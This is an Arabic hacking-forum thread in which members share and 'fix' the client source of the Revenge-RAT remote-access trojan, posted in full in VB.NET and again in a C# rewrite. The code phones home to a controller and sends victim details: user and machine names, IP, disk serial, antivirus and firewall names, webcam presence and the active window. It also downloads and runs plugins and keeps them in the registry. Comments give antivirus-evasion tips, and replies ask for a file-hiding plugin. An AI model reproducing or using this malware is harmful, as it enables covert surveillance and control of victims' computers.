[ حل ] معالجة انقطاع الاتصال في كلاينت Revenge-RAT v0.3

تم تحميل الصفحة في 1,8671105 ثانية
معالجة انقطاع الاتصال في كلاينت Revenge-RAT v0.3

NYAN CAT

Beginner Developer
rankrank
إنضم
14 نوفمبر 2017
المشاركات
217
الإعجابات
224
النقاط
43
الإقامة
Kuwait
قبل فترة بسيطة كان هنالك عضو يشتكي من عدم وصول التبليغ في برنامج ريفنج-رات في أحد المنتديات
وعندما أرسل سورس الكلاينت عرفت أنه ادخل البورت والهوست بشكل غير صحيح
عموماً قرأت السورس كود ولاحظت أنه لا يوجد مثيد يحدد إذا ما تم انقطاع الاتصال بشكل مفاجئ أم لا (half open connection)
فحاولت إصلاحه بالمره. عموماً لم استخدم ريفنج-رات من قبل ولكن جربته في ذلك الوقت باتصال محلي ويبدو أنه برنامج ممتاز
تفضوا الكود وأتمنى التعليق عليه بعد الاستخدام هل لازالت المشكلة موجودة أم تم حلها.


كود:
'############
'# NYAN CAT #
'############

' Revenge-RAT Client Source Code v0.3
' By N A P O L E O N
' You can update/Crypt the client again, learn if you want , some codes typed direct for beginners
' if you want good result in runtime vs AV, rewrite some functions much as you can
' Last edit: 2016/12/9
Imports System.Management, Microsoft.VisualBasic.Devices, System.Collections.Generic, System.Diagnostics, System.Windows.Forms, System.Globalization, System.IO.Compression, System.Net, System.Threading, Microsoft.Win32, System.Text, System.IO
Public Class Atomic
    Public OW As Boolean = False
    Public C As Object = Nothing
    Public Cn As Boolean = False
    Public SC = New Thread(AddressOf MAC, 1)
    Public PT As New Thread(AddressOf Pin)
    Public I As Integer = 1
    Public MS As Integer = 0
    Public Hosts As String() = Split("127.0.0.1,", ",")
    Public Ports As String() = Split("1234,", ",")
    Public ID As String = "TllBTi1DQVQ="
    Public MUTEX As String = "RV_MUTEX-FZMONFueOciq"
    Public H As Integer = 0
    Public P As Integer = 0
    ' Replace "%H%" with you host , like this : 127.0.0.1, and ports "%P%" like this : 333,
    ' you must add "," after all host,port!
    ' Replace "%ID%" with your identification encoded in base64 utf8 , you can use encode function , %MUT% , Your mustex
    ' and "%Socket Key%" for your socket key

    Public Shared SPL As String = "*-]NK[-*"
    Public Shared App As String = Application.ExecutablePath
    Public Shared SCG As New Atomic
    Public Shared DI As ComputerInfo = New ComputerInfo
    Public Shared Key As String = "Ratz-Test"
    Public Shared MT As Mutex
    Public Shared Tick As System.Threading.Timer = Nothing


    Shared Sub Main()
        SCG.Execute()
    End Sub

    Sub Execute()
         Try : MT = New Mutex(True, MUTEX, OW) : If Not OW Then End : AddHandler Application.ApplicationExit, Sub() MT.ReleaseMutex()
          Catch : End Try
        SC.Start() : PT.Start()
    End Sub

    Sub Pin()
RE:     If I = 0 Then : MS += 1 : End If : Thread.Sleep(1) : GoTo RE
    End Sub

    Sub data(ByVal b As Byte()) ' receive commands from RV-RAT
        Dim Rev As String() = Split(BS(b), Key)
        If Rev(0) = "PNC" Then
            I = 0
            Send("PNC")
        ElseIf Rev(0) = "P" Then
            I = 1
            Send("P" & Key & MS)
            MS = 0
            Send("W" & Key & GAW())
        ElseIf Rev(0) = "IE" Then ' Ask about plugin
            If Not Registry.CurrentUser.OpenSubKey("Software\" & Encode(MUTEX) & "\" & Rev(1), True) Is Nothing Then : Try : INV(Hosts(H), Ports(P), Rev(4), Rev(5), Encode(Decode(ID) & "_" & HWD()), Registry.GetValue("HKEY_CURRENT_USER\SOFTWARE\" & Encode(MUTEX) & "\" & Rev(1), Rev(1), Nothing).ToString, Rev(2), Rev(3), Rev(1), True) : Catch : Send("GPL" & Key & Rev(5) & Key & Rev(1) & Key & False) : End Try : Else : Send("GPL" & Key & Rev(5) & Key & Rev(1) & Key & False) : End If
        ElseIf Rev(0) = "LP" Then ' invoke plugin
            INV(Hosts(H), Ports(P), Rev(1), Rev(2), Encode(Decode(ID) & "_" & HWD()), Rev(3), Rev(4), Rev(5), Rev(6), Rev(7))
        ElseIf Rev(0) = "UNV" Then ' uninstall - restart - close .. etc
            LA(Rev(1)).CreateInstance(Rev(2)).UNI(Encode(MUTEX), Rev(3), Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Nothing, Rev(4), Rev(5), App, Rev(6), Rev(7), Rev(8), Rev(9), Rev(10), Rev(11), Rev(12), Rev(13))
        End If
    End Sub

    Public Function INV(ByVal H As String, P As String, N As String, C As String, ID As String, Bytes As String, S As Integer, M As Boolean, MD5 As String, B As Boolean) ' invoke plugin
        LA(Bytes).CreateInstance(N & "." & C, True).Start(ID, S, H, P, Key, SPL) : If M Then : Try : If Registry.CurrentUser.OpenSubKey("Software\" & Encode(MUTEX) & "\" & MD5, True) Is Nothing Then : IR("HKEY_CURRENT_USER\SOFTWARE\" & Encode(MUTEX) & "\" & MD5, MD5, Bytes) : End If : Catch : End Try : If B = False Then : IR("HKEY_CURRENT_USER\SOFTWARE\" & Encode(MUTEX) & "\" & MD5, MD5, Bytes) : End If : End If
    End Function

    Public Function LA(B As String) ' load assembly
        Return Reflection.Assembly.Load(Decompress(Convert.FromBase64String(B)))
    End Function

    Public Function IR(ByVal P As String, N As String, B As String) ' add reg value
        Try : Registry.SetValue(P, N, B) : Catch : End Try
    End Function

    Sub MAC()

        Dim M As Object = New MemoryStream
        Dim lp As Integer = 0
re:
        Try : Try : EmptyWorkingSet(Process.GetCurrentProcess.Handle) : Catch : End Try : Catch : End Try
        Try
            If C Is Nothing Then GoTo e
            If C.Client.Connected = False Then GoTo e
            If Cn = False Then GoTo e
            lp += 1
            If lp > 300 Then
                lp = 0
                If C.Client.Poll(-1, Sockets.SelectMode.SelectRead) And C.Client.Available <= 0 Then GoTo e
            End If
            If C.Available > 0 Then
                Dim B(C.Available - 1) As Byte
                C.Client.Receive(B, 0, B.Length, Sockets.SocketFlags.None)
                M.Write(B, 0, B.Length)
rr:
                If BS(M.ToArray).Contains(SPL) Then
                    Dim A As Array = fx(M.ToArray, SPL)
                    Dim T As New Thread(AddressOf data)
                    T.Start(A(0))
                    M.Dispose()
                    M = New IO.MemoryStream
                    If A.Length = 2 Then
                        M.Write(A(1), 0, A(1).length)
                        GoTo rr
                    End If
                End If
            End If
        Catch
            GoTo e
        End Try
        Thread.CurrentThread.Sleep(1)
        GoTo re
e:
        Try : Try : EmptyWorkingSet(Process.GetCurrentProcess.Handle) : Catch : End Try : Catch : End Try
        Cn = False
        Try
            C.Client.Disconnect(False)
        Catch
        End Try
        Try
            M.Dispose()
        Catch
        End Try
        Try
            Tick.Dispose()
        Catch
        End Try
        M = New MemoryStream
        Dim IC As Boolean = False
        For Count As Integer = 0 To Hosts.Length - 2
            Try
                C = New Sockets.TcpClient() With {.ReceiveTimeout = -1, .SendTimeout = -1, .SendBufferSize = 999999, .ReceiveBufferSize = 999999}
                lp = 0
                CK().Connect(Hosts(Count), Ports(Count))
                Cn = True

                Send("Information" & Key & ID & Key & Encode("_" & HWD()) & Key & IP() & Key & Encode(Environment.MachineName & " / " & Environment.UserName) & Key & CIVC() & Key & Encode(DI.OSFullName & " " & OP()) & Key & Encode(MP()) & Key & DI.TotalPhysicalMemory & Key & GetProduct("Select * from AntiVirusProduct") & Key & GetProduct("SELECT * FROM FirewallProduct") & Key & Ports(P) & Key & GAW() & Key & Encode(CultureInfo.CurrentCulture.Name) & Key & "False") ' RVUS for make this client special color in lv , true for spread , RVUS for you , and false mean this client didn't come from spread
                H = Count
                P = Count
                IC = True
                Dim T As New TimerCallback(AddressOf Ping)
                Tick = New Threading.Timer(T, Nothing, 0, 30000)
                GoTo re
            Catch
                Thread.Sleep(5000) ' replace it for reconnect time in ms , like 2500 or 5000
                H = 0
                P = 0
            End Try
        Next
        If IC = True Then
            IC = False
            GoTo e
        End If
        GoTo re
    End Sub

    Sub Ping()
        Send("alive??")
    End Sub

    Function CK()
        Return C.Client
    End Function

    Public Sub Send(ByVal b As Byte())
        If Cn = False Then Exit Sub
        Try
            Dim r As Object = New MemoryStream
            r.Write(b, 0, b.Length)
            r.Write(SB(SPL), 0, SPL.Length)
            C.Client.SendBufferSize = b.Length
            C.Client.Poll(-1, Net.Sockets.SelectMode.SelectWrite)
            C.Client.Send(r.ToArray, 0, r.Length, Sockets.SocketFlags.None)
            r.Dispose()
        Catch
            Cn = False
        End Try
    End Sub

    Public Sub Send(ByVal S As String)
        Send(SB(S))
    End Sub

    Public Function IP()
        Try : Return CType(Dns.GetHostByName(Dns.GetHostName()).AddressList.GetValue(0), IPAddress).ToString() : Catch : Return "????" : End Try
    End Function

    Private Declare Function GVI Lib "kernel32" Alias "GetVolumeInformationA" (ByVal IP As String, ByVal V As String, ByVal T As Integer, ByRef H As Integer, ByRef Q As Integer, ByRef G As Integer, ByVal J As String, ByVal X As Integer) As Integer : Private Declare Function GFW Lib "user32" Alias "GetForegroundWindow" () As IntPtr : Private Declare Auto Function GetWindowText Lib "user32" (ByVal hWnd As IntPtr, ByVal lpString As StringBuilder, ByVal cch As Integer) As Integer : Declare Function capGetDriverDescriptionA Lib "avicap32.dll" (ByVal wDriver As Short, ByVal lpszName As String, ByVal cbName As Integer, ByVal lpszVer As String, ByVal cbVer As Integer) As Boolean
    <Runtime.InteropServices.DllImport("psapi")>
    Public Shared Function EmptyWorkingSet(ByVal hProcess As Long) As Boolean
    End Function

    Public Function HWD() As String
        Try : Dim HSN As Integer : GVI(Environ("SystemDrive") & "\", Nothing, Nothing, HSN, 0, 0, Nothing, Nothing) : Return Hex(HSN) : Catch : Return "ERR" : End Try
    End Function

    Public Function CIVC() As String
        Try : For i As Integer = 0 To 4 : If capGetDriverDescriptionA(i, Space(100), 100, Nothing, 100) Then : Return "Yes" : End If : Next : Catch : End Try : Return "No"
    End Function

    Public Shared Function OP() As String
        Try : For Each SC As ManagementObject In New ManagementObjectSearcher("select * from Win32_Processor").[Get]() : Return Convert.ToInt32(SC("AddressWidth")) : Next : Catch : Return "????" : End Try
    End Function

    Public Function GetProduct(ByVal Product As String) As String
        Try : Dim PN As String = String.Empty : For Each AV As ManagementObject In New ManagementObjectSearcher("root\SecurityCenter" & IIf(DI.OSFullName.Contains("XP"), "", "2").ToString, Product).Get : PN &= AV("displayName").ToString : Next : If Not PN = String.Empty Then : Return Encode(PN) : Else : Return Encode("N/A") : End If : Catch : Return Encode("N/A") : End Try
    End Function

    Public Function MP()
        Try : Return Registry.GetValue("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0", "ProcessorNameString", Nothing).ToString : Catch : Return "????" : End Try
    End Function

    Public Function GAW() As String
        Dim W As New StringBuilder(256) : GetWindowText(GFW(), W, W.Capacity) : Return Encode(W.ToString())
    End Function

    Function SB(ByVal s As String) As Byte()
        Return Encoding.Default.GetBytes(s)
    End Function

    Function BS(ByVal b As Byte()) As String
        Return Encoding.Default.GetString(b)
    End Function

    Function fx(ByVal b As Byte(), ByVal WRD As String) As Array
        Dim a As New List(Of Byte()), M As New MemoryStream, MM As New MemoryStream, T As String() = Split(BS(b), WRD) : M.Write(b, 0, T(0).Length) : MM.Write(b, T(0).Length + WRD.Length, b.Length - (T(0).Length + WRD.Length)) : a.Add(M.ToArray) : a.Add(MM.ToArray) : M.Dispose() : MM.Dispose() : Return a.ToArray
    End Function

    Public Function Decompress(data As Byte()) As Byte()
        Dim input As New MemoryStream() : input.Write(data, 0, data.Length) : input.Position = 0
        Dim gzip As New GZipStream(input, CompressionMode.Decompress, True), output As New MemoryStream(), buff As Byte() = New Byte(63) {}, read As Integer = -1
        read = gzip.Read(buff, 0, buff.Length) : While read > 0 : output.Write(buff, 0, read) : read = gzip.Read(buff, 0, buff.Length) : End While : gzip.Close() : Return output.ToArray()
    End Function

    Public Function Encode(ByVal Input As String)
        Return Convert.ToBase64String(Encoding.UTF8.GetBytes(Input))
    End Function

    Public Function Decode(ByVal Input As String)
        Return Encoding.UTF8.GetString(Convert.FromBase64String(Input))
    End Function

End Class


أو هنا

[VB.NET] REV CLIENT FIXED - Pastebin.com
 

aamb_1976

Beginner Developer
rankrank
إنضم
26 أغسطس 2010
المشاركات
166
الإعجابات
113
النقاط
43
يا ريت يا اخى لو تشرح كيفية عمل بلوجن بسيط لاخفاء الملفات لهذا البرنامج الرائع
انا حاولت لكن عند الكومبيلر يطلب server plugin .dll
 
إنضم
19 يناير 2012
المشاركات
1,473
الإعجابات
1,461
النقاط
133
الإقامة
IRAQ
جميل ...

_______+


ولكن ما الفائده ... من تعديل او تصحيح ... الكلاينت ...

_____+


اختبرت انا البرنامج قبل شهور ...

البرنامج
يعاني ... توجد اخطاء كثيره ...

_____+

لو كان لدي السورس ...

لجعلته افضل من انجي رات 7 ....

بكل شي ...

و
افضل من المدفوع ... ايضا ...

_______+



:9:
 

NYAN CAT

Beginner Developer
rankrank
إنضم
14 نوفمبر 2017
المشاركات
217
الإعجابات
224
النقاط
43
الإقامة
Kuwait
يا ريت يا اخى لو تشرح كيفية عمل بلوجن بسيط لاخفاء الملفات لهذا البرنامج الرائع
انا حاولت لكن عند الكومبيلر يطلب server plugin .dll
لا أستطيع وعدك ولكن إذا سمح الوقت ان شاء الله سوف أراجع طلبك


يعطيك العافية جزاك الله كل خير اخوي :42:
كل الشكر لك عزيزي

جميل ...

_______+

ولكن ما الفائده ... من تعديل او تصحيح ... الكلاينت ...

_____+


اختبرت انا البرنامج قبل شهور ...

البرنامج يعاني ... توجد اخطاء كثيره ...

_____+

لو كان لدي السورس ...
لجعلته افضل من انجي رات 7 ....

بكل شي ...

وافضل من المدفوع ... ايضا ...

_______+


:9:
لم أواجه مشاكل لأني لم استخدم البرنامج بشكل كبير بل فقط على نفسي من باب التجربة ولكن طبعاً خبرتك أكبر مني مع هذا البرنامج
للأمانة البرنامج فيه خصائص كثير وواضح الشخص بذل مجهود
وحبيت أن اطرح طريقة سهله لزيادة ثبات برامج الرات لعل هنالك عضو أو زائر يستفيد من الموضوع ليتجنب هذة المشكلة في المستقبل
 

aamb_1976

Beginner Developer
rankrank
إنضم
26 أغسطس 2010
المشاركات
166
الإعجابات
113
النقاط
43
تعديل رائع عن تجربه
لو ممكن تحوله سى شارب اكون شاكر لك
 
إنضم
14 نوفمبر 2017
المشاركات
217
الإعجابات
224
النقاط
43
الإقامة
Kuwait
تعديل رائع عن تجربه
لو ممكن تحوله سى شارب اكون شاكر لك
C#:
//Revenge-RAT Client Source Code v0.3 Rewritten in C# By MiraculousDZ
//Original Author (VB.NET): N A P O L E O N
//FB:MiraculousDZ == Skype:live:miraculous_dz_1
//Last edit: 2017/04/20
//To use for education purposes only
// Fixed By NYAN CAT 12/7/2018
//Thanks To : N A P O L E O N == THE MYSTERIES LEGACY == Grandfather's Legacy

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.Devices;
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Globalization;
using System.IO;
using System.IO.Compression;
using System.Management;
using System.Net;
using System.Net.Sockets;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;

namespace Miraculous_DZ
{
    public static class Class1
    {

        #region Fields Definition
        public static bool ZE = false;
        public static TcpClient TC = null;
        public static bool CZ = false;
        public static int PING = 1;
        public static int PONG = 0;
        public static string RE = "2500"; //Replace %RE% for reconnect time in ms like 1500 or 2000
        public static string[] HOST = Strings.Split("127.0.0.1,", ",", -1, Microsoft.VisualBasic.CompareMethod.Text); //Replace "%H%" with you host == you must add "," after all host ! == like this "127.0.0.1,"
        public static string[] PORT = Strings.Split("333,", ",", -1, Microsoft.VisualBasic.CompareMethod.Text); //Replace "%P%" with you port == you must add "," after all port ! == like this "92,"
        public static string ID = "TllBTi1DQVQ="; //Replace "%ID%" with your identification encoded in base64 UTF-8 like "Q2xpZW50"
        public static string XMUT = "RV_MUTEX-FZMONFueOciq"; //Mutex:RunOnce
        public static string KEY = "Revenge-RAT"; //Replace "%Socket Key%" with your Socket Key
        public static int H = 0;
        public static int P = 0;
        public static string App = Application.ExecutablePath;
        public static ComputerInfo CI = new ComputerInfo();
        public static Mutex MUT;
        public static string SPL = "*-]NK[-*";
        public static System.Threading.Timer Tick = null;

        #endregion

        #region Main

        [STAThread]
        public static void Main()
        {
            GO();
        }
        public static void GO()
        {
            new Thread(new ThreadStart(RC), 1).Start();
            new Thread(new ThreadStart(PIP)).Start();
        } //Connect
        public static void PIP()
        {
        DR:
            if (PING == 0)
            {
                PONG += 1;
            }
            Thread.Sleep(1);
            goto DR;
        } //Ping Client
        public static void INS()
        {
            Thread.Sleep(9000);
            try
            {
                MUT = new Mutex(true, XMUT, out ZE);
                if (!ZE)
                {
                    System.Environment.Exit(0);
                    MUT.ReleaseMutex();
                }
            }
            catch
            {
            }
        } //Client Install
        public static void Data(byte[] BB)  //Receive Data from Server
        {

            string[] DZ = Strings.Split(BS(BB), KEY, -1, Microsoft.VisualBasic.CompareMethod.Text);
            if (DZ[0] == "PNC")
            {
                PING = 0;
                Send("PNC");
            }
            else if (DZ[0] == "P")
            {
                PING = 1;
                Send("P" + KEY + PONG);
                PONG = 0;
                Send("W" + KEY + GAW());
            }
            else if (DZ[0] == "IE") //Ask about plugin
            {
                if ((Registry.CurrentUser.OpenSubKey("Software\\" + Encode(XMUT) + "\\" + DZ[1], true) != null))
                {
                    try
                    {
                        INV(HOST[H], PORT[P], DZ[4], DZ[5], Encode(Decode(ID) + "_" + DWF()), Registry.GetValue(@"HKEY_CURRENT_USER\SOFTWARE\" + Encode(XMUT) + @"\\" + DZ[1], DZ[1], null).ToString(), int.Parse(DZ[2]), System.Convert.ToBoolean(DZ[3]), DZ[1], true);
                    }
                    catch
                    {
                        Send("GPL" + KEY + DZ[5] + KEY + DZ[1] + KEY + "false");
                    }
                }
                else
                {
                    Send("GPL" + KEY + DZ[5] + KEY + DZ[1] + KEY + "false");
                }
            }
            else if (DZ[0] == "LP") //invoke plugin
            {
                INV(HOST[H], PORT[P], DZ[1], DZ[2], Encode(Decode(ID) + "_" + DWF()), DZ[3], int.Parse(DZ[4]), System.Convert.ToBoolean(DZ[5]), DZ[6], Convert.ToBoolean(DZ[7]));
            }
            else if (DZ[0] == "UNV") //uninstall - restart - close .. etc
            {
                object ar = Interaction.CallByName(LA(DZ[1]), System.Text.Encoding.Default.GetString(new byte[] { 71, 101, 116, 84, 121, 112, 101 }), CallType.Method, DZ[2]);
                object enn = Interaction.CallByName(ar, System.Text.Encoding.Default.GetString(new byte[] { 71, 101, 116, 77, 101, 116, 104, 111, 100 }), CallType.Method, System.Text.Encoding.Default.GetString(new byte[] { 85, 78, 73 }));
                object inn = Interaction.CallByName(enn, System.Text.Encoding.Default.GetString(new byte[] { 73, 110, 118, 111, 107, 101 }), CallType.Method, null, new object[] { Encode(XMUT), DZ[3], null, null, null, null, null, null, null, null,
            null, null, null, null, null, null, null, null, null, null,
            null, null, null, null, null, null, null, null, null, null,
            null, null, DZ[4], DZ[5], App, DZ[6], DZ[7], DZ[8], DZ[9], DZ[10],
            DZ[11], DZ[12], DZ[13]});

            }
        }
        #endregion

        #region Plugins
        public static void INV(string H, string P, string N, string C, string ID, string Bytes, int S, bool M, string MD5, bool B) //invoke plugin function
        {
            byte[] ci = new byte[] { 67, 114, 101, 97, 116, 101, 73, 110, 115, 116, 97, 110, 99, 101 };
            byte[] gem = new byte[] { 71, 101, 116, 77, 101, 116, 104, 111, 100 };
            byte[] invo = new byte[] { 73, 110, 118, 111, 107, 101 };
            byte[] vod = new byte[] { 83, 116, 97, 114, 116 };
            object ar = Interaction.CallByName(LA(Bytes), System.Text.Encoding.Default.GetString(ci), CallType.Method, N + "." + C);
            object inn = Interaction.CallByName(ar, System.Text.Encoding.Default.GetString(vod), CallType.Method, new object[] { ID, S, H, P, KEY, SPL });
            if (M)
            {
                try
                {
                    if (Registry.CurrentUser.OpenSubKey("Software\\" + Encode(XMUT) + "\\" + MD5, true) == null)
                    {
                        IR("HKEY_CURRENT_USER\\SOFTWARE\\" + Encode(XMUT) + "\\" + MD5, MD5, Bytes);
                    }
                }
                catch
                {
                }
                if (B == false)
                {
                    IR("HKEY_CURRENT_USER\\SOFTWARE\\" + Encode(XMUT) + "\\" + MD5, MD5, Bytes);
                }
            }
        }
        public static object LA(string B) //load assembly
        {
            byte[] lod = new byte[] { 76, 111, 97, 100 };
            Object ap = System.AppDomain.CurrentDomain;
            return Interaction.CallByName(ap, System.Text.Encoding.Default.GetString(lod), CallType.Method, Decompress(Convert.FromBase64String(B)));
        }
        public static void IR(string P, string N, string B) //add reg value
        {
            try
            {

                Registry.SetValue(P, N, B);
            }
            catch
            {
            }
        }
        #endregion

        #region Functions
        public static string IP() //Get internal IP
        {
            try
            {
                return ((IPAddress)Dns.GetHostByName(Dns.GetHostName()).AddressList.GetValue(0)).ToString();
            }
            catch
            {
                return "????";
            }
        }
        public static string DWF() //Get Hard Disk Serial Number
        {
            try
            {
                string trt = Interaction.Environ("SystemDrive") + "\\";
                string trrt = null;
                int trtt = 0;
                int tyt = 0;
                int tytr = 0;
                string trrtr = null;
                int number = 0;
                GVI(trt, trrt, trtt, ref number, ref tyt, ref tytr, trrtr, 0);
                return Conversion.Hex(number);
            }
            catch
            {
                return "ERR";
            }
        }
        public static string CIVC()
        {
            string hh = null;
            string hhh = Strings.Space(100);
            try
            {
                for (int i = 0; i <= 4; i++)
                {
                    if (CAWP((short)i, hhh, 100, hh, 100))
                    {
                        return "Yes";
                    }
                }
            }
            catch
            {
            }
            return "No";
        }  //Check Camera return yes or no
        public static string OP()
        {
            try
            {
                foreach (ManagementObject SC in new ManagementObjectSearcher("select * from Win32_Processor").Get())
                {
                    return Convert.ToInt32(SC["AddressWidth"]).ToString();
                }
            }
            catch
            {
                return "????";
            }
            return "????";

        } //Get operation system 32 or 64 bit
        public static string GPRO(string Product) //Get Product via ManagementObjectSearcher
        {
            try
            {
                string PN = string.Empty;
                foreach (ManagementObject AV in new ManagementObjectSearcher("root\\SecurityCenter" + (CI.OSFullName.Contains("XP") ? "" : "2").ToString(), Product).Get())
                {
                    PN += AV["displayName"];
                }
                if ((PN != string.Empty))
                {
                    return Encode(PN);
                }
                else
                {
                    return Encode("N/A");
                }
            }
            catch
            {
                return Encode("N/A");
            }
        }
        public static string MP()
        {
            try
            {
                return Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\SYSTEM\\CENTRALPROCESSOR\\0", "ProcessorNameString", null).ToString();
            }
            catch
            {
                return "????";
            }
        } // Get CPU
        public static string GAW()
        {
            StringBuilder W = new StringBuilder(256);
            GetWindowText(GFW(), W, W.Capacity);
            return Encode(W.ToString());
        } //Get Active Window
        #endregion

        #region Network
        public static void RC() //Handling Incoming Data
        {

            MemoryStream M = new MemoryStream();
            int lp = 0;
        re:
            try
            {
                try
                {
                    EmptyWorkingSet(Process.GetCurrentProcess().Handle); //Reduce memory versus performance
                }
                catch
                {
                }
            }
            catch
            {
            }
            try
            {
                if (TC == null)
                    goto e;
                if (TC.Client.Connected == false)
                    goto e;
                if (CZ == false)
                    goto e;
                lp += 1;
                if (lp > 150)
                {
                    lp = 0;
                    if (TC.Client.Poll(-1, System.Net.Sockets.SelectMode.SelectRead) & TC.Client.Available <= 0)
                        goto e;
                }
                if (TC.Available > 0)
                {
                    byte[] B = new byte[TC.Available];
                    TC.Client.Receive(B, 0, B.Length, System.Net.Sockets.SocketFlags.None);
                    M.Write(B, 0, B.Length);
                rr:
                    if (BS(M.ToArray()).Contains(SPL))
                    {
                        Array[] A = (Array[])(fx(M.ToArray(), SPL));
                        Thread t = new Thread(delegate () { Data((byte[])A[0]); });
                        t.Start();
                        M.Dispose();

                        M = new System.IO.MemoryStream();
                        if (A.Length == 2)
                        {
                            M.Write((byte[])(A[1]), 0, ((byte[])(A[1])).Length);
                            goto rr;
                        }
                    }
                }
            }
            catch
            {
                goto e;
            }
            Thread.Sleep(1);
            goto re;
        e:
            try
            {
                try
                {
                    EmptyWorkingSet(Process.GetCurrentProcess().Handle);
                }
                catch
                {
                }
            }
            catch
            {
            }
            CZ = false;
            try
            {
                TC.Client.Disconnect(false);
            }
            catch
            {
            }
            try
            {
                Tick.Dispose();
            }
            catch
            {
            }
            try
            {
                M.Dispose();
            }
            catch
            {
            }
            M = new MemoryStream();
            bool IC = false;
            for (int Count = 0; Count <= HOST.Length - 2; Count++)
            {
                try
                {
                    TC = new TcpClient();
                    {
                        TC.ReceiveTimeout = -1;
                        TC.SendTimeout = -1;
                        TC.SendBufferSize = 999999;
                        TC.ReceiveBufferSize = 999999;
                    }
                    lp = 0;
                    TC.Client.Connect(HOST[Count], Convert.ToInt16(PORT[Count]));
                    CZ = true;
                    Send("Information" + KEY + ID + KEY + Encode("_" + DWF()) + KEY + IP() + KEY + Encode(Environment.MachineName + " / " + Environment.UserName) + KEY + CIVC() + KEY + Encode(CI.OSFullName + " " + OP()) + KEY + Encode(MP()) + KEY + CI.TotalPhysicalMemory + KEY + GPRO("Select * from AntiVirusProduct") + KEY + GPRO("SELECT * FROM FirewallProduct") + KEY + PORT[P] + KEY + GAW() + KEY + Encode(CultureInfo.CurrentCulture.Name) + KEY + @"False"); // RVUS for make this client special color in lv , true for spread , RVUS for you , and false mean this client didn't come from spread
                    H = Count;
                    P = Count;
                    IC = true;
                    {
                        TimerCallback T = new TimerCallback(Ping);
                        Tick = new System.Threading.Timer(T, null, 0, 30000);

                    }

                    goto re;
                }
                catch
                {
                    Thread.Sleep(int.Parse(RE));
                    H = 0;
                    P = 0;
                }
            }
            if (IC == true)
            {
                IC = false;
                goto e;
            }
            goto re;
        }
        static void Ping(object state)
        {
            Send("alive??");
        }
        public static void Send(byte[] b) //Send Data
        {
            if (CZ == false)
                return;
            try
            {
                MemoryStream r = new MemoryStream();
                r.Write(b, 0, b.Length);
                r.Write(SB(SPL), 0, SPL.Length);
                TC.Client.SendBufferSize = b.Length;
                TC.Client.Poll(-1, System.Net.Sockets.SelectMode.SelectWrite);
                TC.Client.Send(r.ToArray(), 0, checked((int)r.Length), System.Net.Sockets.SocketFlags.None);
                r.Dispose();
            }
            catch
            {
                CZ = false;
            }
        }


        public static void Send(string S) //Send Data
        {
            Send(SB(S));
        }
        #endregion

        #region Encoding
        public static byte[] SB(string s)
        {
            return Encoding.Default.GetBytes(s);
        } // String to Byte
        public static string BS(byte[] b)
        {
            return Encoding.Default.GetString(b);
        } // Byte to String 
        public static Array fx(byte[] b, string WRD)
        {
            List<byte[]> a = new List<byte[]>();
            MemoryStream M = new MemoryStream();
            MemoryStream MM = new MemoryStream();
            string[] T = Strings.Split(BS(b), WRD, -1, Microsoft.VisualBasic.CompareMethod.Text);
            M.Write(b, 0, T[0].Length);
            MM.Write(b, T[0].Length + WRD.Length, b.Length - (T[0].Length + WRD.Length));
            a.Add(M.ToArray());
            a.Add(MM.ToArray());
            M.Dispose();
            MM.Dispose();
            return (a.ToArray());
        } // fix incomming Data(bytes)
        public static byte[] Decompress(byte[] B) // Decompress Bytes with GZipStream
        {
            MemoryStream ms = new MemoryStream(B);
            GZipStream gzipStream = new GZipStream((Stream)ms, CompressionMode.Decompress);
            byte[] buffer = new byte[4];
            ms.Position = checked(ms.Length - 5L);
            ms.Read(buffer, 0, 4);
            int count = BitConverter.ToInt32(buffer, 0);
            ms.Position = 0L;
            byte[] AR = new byte[checked(count - 1 + 1)];
            gzipStream.Read(AR, 0, count);
            gzipStream.Dispose();
            ms.Dispose();
            return AR;
        }
        public static string Encode(string str)
        {
            return Convert.ToBase64String(Encoding.UTF8.GetBytes(str));
        } // Encode string UTF-8
        public static string Decode(string str)
        {
            return Encoding.UTF8.GetString(Convert.FromBase64String(str));
        } // Decode string UTF-8
        #endregion

        #region PInvokes

        [DllImport("kernel32", EntryPoint = "GetVolumeInformationA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
        private static extern int GVI(string IP, string V, int T, ref int H, ref int Q, ref int G, string J, int X);
        [DllImport("user32", EntryPoint = "GetForegroundWindow", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
        private static extern IntPtr GFW();
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
        [DllImport("avicap32.dll", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
        public static extern bool CAWP(short wDriver, string lpszName, int cbName, string lpszVer, int cbVer);
        [DllImport("psapi")]
        public static extern bool EmptyWorkingSet(IntPtr hProcess);

        #endregion
    }
}

المصدر | [ حل ] - || Revenge-RAT v0.3 Client Source Code || Rewritten in C# ||Clean 2/35||21/04/2017 ||
 
إنضم
5 أغسطس 2011
المشاركات
314
الإعجابات
233
النقاط
43
الإقامة
0x400000
السلام عليكم
موضوع جيد و جميل
عندي فقط سؤال واحد : برمجيا اين يوجد المشكل في الكلاينت ؟
 
إنضم
14 نوفمبر 2017
المشاركات
217
الإعجابات
224
النقاط
43
الإقامة
Kuwait
السلام عليكم
موضوع جيد و جميل
عندي فقط سؤال واحد : برمجيا اين يوجد المشكل في الكلاينت ؟

المشكلة هي ان الكلاينت يحدد إذا انقطع الاتصال أو لا عن طريق هذة المثيد

كود:
If C.Client.Poll(-1, Sockets.SelectMode.SelectRead) And C.Client.Available <= 0 Then GoTo e
ولكن مشكلة هذة المثيد بأنها لا يمكن الإعتماد عليها عند فصل كيبل الانترنت أو إغلاق البرنامج \ الحاسوب بشكل غير سليم



